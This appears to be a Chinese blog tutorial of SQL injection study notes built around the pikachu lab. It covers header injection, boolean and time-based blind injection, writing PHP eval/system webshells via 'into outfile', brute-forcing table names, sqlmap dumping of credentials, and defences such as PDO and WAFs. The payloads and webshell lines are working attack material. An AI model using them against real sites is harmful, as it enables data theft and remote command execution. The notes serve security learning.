天天看點

sql注入學習筆記(二)

HTTP header注入

有些時候,背景開發人員為了驗證用戶端頭資訊(比如常用的 cookie驗證)

或者通過httpheader頭資訊擷取用戶端的一些資訊,比如useragent,accept字段等等。會對用戶端的httpheader資訊進行擷取并使用SQL進行處理,如果此時沒有足夠的安全考慮,則可能會導緻基于httpheader的SQLInject漏洞。

使用burpsuite抓取前後段互動的HTTP請求,修改頭資訊

sql注入學習筆記(二)

修改user agent

sql注入學習筆記(二)

修改cookies

test payload

基于HTTPHeader
Cookie: ant[uname]=admin' and updatexml (1, concat(0x7e, database ()),0)#
firefox or updatexml(1,concat(0x7e, database ()),0) or
           

盲注

什麼是盲注

在有些情況下,背景使用了錯誤消息屏蔽方法(比如@)屏蔽了報錯

此時無法在根據報錯資訊來進行注入的判斷。

這種情況下的注入,稱為“盲注“

根據表現形式的不同,盲注又分為 based boolean和 based timei兩種類型

基于boolean的盲注測試

基于 boolean的盲注主要表現症狀

0.沒有報錯資訊

1.不管是正确的輸入,還是錯誤的輸入,都隻顯示兩種情況(我們可以認為是0或者1)

2.在正确的輸入下,輸入and1=1/and1=2發現可以判斷

test payload

kobe' and len(database())=7#
#如果前端傳回結果,說明database()字元串的長度為7,不傳回資訊的話,說明不是7,可以用二分法試探
kobe' and ascii(substr(database()), 1, 1))=112#
#如果前端傳回結果,說明database()第一個字母的ascii碼為112,不傳回資訊的話,說明不是,可以用二分法試探
           

通常編寫腳本或者使用sqlmap進行盲注測試

基于time的盲注測試

如果說基于 boolean的盲注在頁面上還可以看到0 or 1的回顯的話

那麼基于time的盲注完全就啥都看不到了

但還有一個條件,就是“時間”,通過特定的輸入,判斷背景執行的時間,進而确認注入

常用的 Test Payload

kobe and sleep(5)

看看輸入:kobe'和輸入kobe' and sleep(5)#的差別,進而判斷這裡存在 based time的sqL注入漏洞

利用Firefox的開發者工具中的network可以檢視響應時間,如果目前頁面在5秒後傳回,說明執行了sleep(5),存在基于時間的盲注漏洞

基于時間的延遲
kobe' and if((substr(database(),1, 1))='p', sleep(5), null)#
#若頁面在5秒後傳回,說明database()的第一個字母為p,否則不是
           

利用sql注入漏洞進行遠端控制

一句話木馬

一句話木馬是一種短小而精悍的木馬用戶端,隐蔽性好,且功能強大。

PHP: <?php @eval(S_POST['chopper']) ?>
ASP: <%eval request("chopper")%>
ASP.NET: <% Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe"); %>
           

如何通過into outfile寫入惡意代碼并控制os

select 1, 2 into outfile "/var/www/html/1.txt"
           

into outfile将 select的結果寫入到指定目錄的1txt中

在一些沒有回顯的注入中可以使用 into outfile将結果寫入到指定檔案,然後通路擷取

前提條件

1.需要知道遠端目錄

2.需要遠端目錄有寫權限

3.需要資料庫開啟了 secure_ file_ priv

sql注入學習筆記(二)

檢視secure_file_priv配置

需要在mysql的配置檔案/etc/my.cnf中增加secure_file_priv為空

擷取作業系統權限

kobe' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
           

使用方法 http://[target_ip]:[target_port]/1.php?test=[php指令],如http://192.168.1.5/1.php?test=phpinfo()

kobe' union select " <?php @system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#
           

使用方法 http://[target_ip]:[target_port]/2.php?cmd=[系統指令],如http://192.168.1.5/2.php?test=whoami

一句話木馬可以結合菜刀或者蟻劍等工具來使用,達到遠控的目的

可參考中國菜刀簡介及使用AntSword文檔

表名或清單的暴力破解

當information_schema不能通路時

暴力破解表名和列名稱:

kobe' and exists(select * from aa)#

kobe' and exists(select id from users)#

可以使用burpsuite的intruder子產品加載字典進行爆破

SQL Inject注入漏洞的防範

代碼層面

1.對輸入進行嚴格的轉義和過濾

sql注入學習筆記(二)

轉義加過濾

2.使用預處理和參數化( Parameterized)

可以避免使用者的輸入直接拼接成sql語句

sql注入學習筆記(二)

使用PDO

可參考 PDO場景下的SQL注入探究 PDO防sql注入原理分析

網路層面

1.通過wAF裝置啟用防sql注入政策(或類似防護系統)

sql注入學習筆記(二)

部署位置

2.雲端防護(360網站衛士,阿裡雲盾等)

對于在雲端部署的伺服器可以采用廠商提供的防護産品

sql注入學習筆記(二)

雲防護

sqlmap的使用

sqlmap是一個強大的自動化sql注入工具,可以替代手工完成許多任務

在sqlmap的官網(http://sqlmap.org/)下載下傳

sqlmap的經典用法

第一步
u"xx" -cookie="yy"
//帶上 cookie對URL進行注入探測
第二步
u"xx" -cookie="yy" -current-db
//對資料庫名進行擷取
第三步
u"xx" -cookie="yy" -D pikachu --tables
//對資料庫的表名進行枚舉
第四步
u"xx" -cookie="yy" -D pikachu -T users -columns
//對dvwa庫裡面的名為 users表的列名進行枚舉
第五步
u"xx" -cookie="yy" -D pikachu -T users -C username,password --dump
//提取pikachu.users中的指定的字段
           

可參考SQLMap 從入門到入獄詳細指南超詳細SQLMap使用攻略及技巧分享